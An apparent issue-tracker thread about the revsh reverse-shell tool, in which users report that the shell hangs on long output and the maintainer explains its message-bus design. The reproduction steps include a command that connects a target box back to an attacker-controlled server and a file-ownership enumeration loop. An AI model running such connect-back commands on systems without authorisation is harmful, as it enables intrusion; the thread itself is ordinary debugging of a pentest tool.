Shell hangs if output buffer is too long

[henshin]

This happens to me quite a lot. When I perform a command which outputs a lot of output such as long file listing, the shell hangs and I have to initiate a separate connection to kill it. Even CTRL+C or any other combination of keys seem to be able to kill it. Let me know if you need more details but this is kind of straightforward to test I think.

PS: This is one of the most useful tools I found in the last months :) it's really awesome, i use it a lot on CTFs and pentests.

[ghost]

I just tested with about 2mb worth of output but on a private network connection pretty stable not a glitch

# tree -L 6 -u -g -p -d /
# tree -L 6 -u -g -p -d / | wc -c
2494736

[emptymonkey]

One of my design decisions for revsh was to have an internal message bus, and that messages sent down or read from the remote socket were atomic. (That is to say, once a read / write starts on the remote socket, nothing else will happen until it is finished.) This design simplified the abstraction for the different data types revsh could handle. I implemented this by having two select() loops. One loop is the main broker() loop, and the other is a secondary select() loop dedicated to the message bus itself. If this second loop gets out of sync somehow or the socket gets a partial read/write, then it would look like the behavior you are describing. (There's probably a better design, but this implementation is what I came up with.)

henshin - This is a long way of saying I believe you. You've probably found a bug in that internal select() loop code. I haven't seen this particular set of symptoms in a long time though. It is more interesting to me that it is happening regularly for you. If you don't mind, please let me know your OS / Arch flavors / versions and if you can give me an example of a command where it hung, that would be helpful. Also, I don't know if you know about the "\~." and the other "\~?" commands in SSH, but I have implemented those in revsh as well. If it is an internal select() loop bug, then this won't help. But maybe next time it happens try "\<Enter>\~." to kill the connection.

I'll leave this bug open for awhile and try to find some time in the coming weeks to play around and tickle it.

Thanks henshin and ahmedm. I appreciate the help.

[henshin]

Thanks @ahmedm @emptymonkey this is great feedback. I will attempt to perform a few more tests on this to give you some more details. I usually see this happens when I do a ls which outputs a long list of files or find for example. And it seems that it doesn't happen on a "fresh" connection, only after the connection is already established for a while. But again, I'll try to get some more details next time it happens to me. I didn't knew about that "~" trick, I'll try that it next time it happens and give you some feedback.

[henshin]

Unburying this issue since it is relevant again. I can reproduce this quite consistently. On my server: ./revsh -a -c -v myserverip:9999

On the target box running Ubuntu 4.18.0-17-generic: ./revsh -a myserverip:9999 &

Once I get the shell, I'm executing the following command:

for user in $(find /home/ -maxdepth 1 -mindepth 1 -type d -printf "%f\n"); do echo -e "\nFinding files owned by $user...\n"; find / -type f -user $user -printf "%T@ %Tc %p\n" 2>/dev/null | sort; done

Note: Obvisouly this depends on the amount of files owned by a particular user. Shell hangs after about 2100 lines or around 200,000 chars. Not sure if it's relevant. I'm using the x86 version of the revsh. Good news is that the shortcut you mention <Enter>~. works well and i can kill the shell and restart it. Let me know if you need any additional info.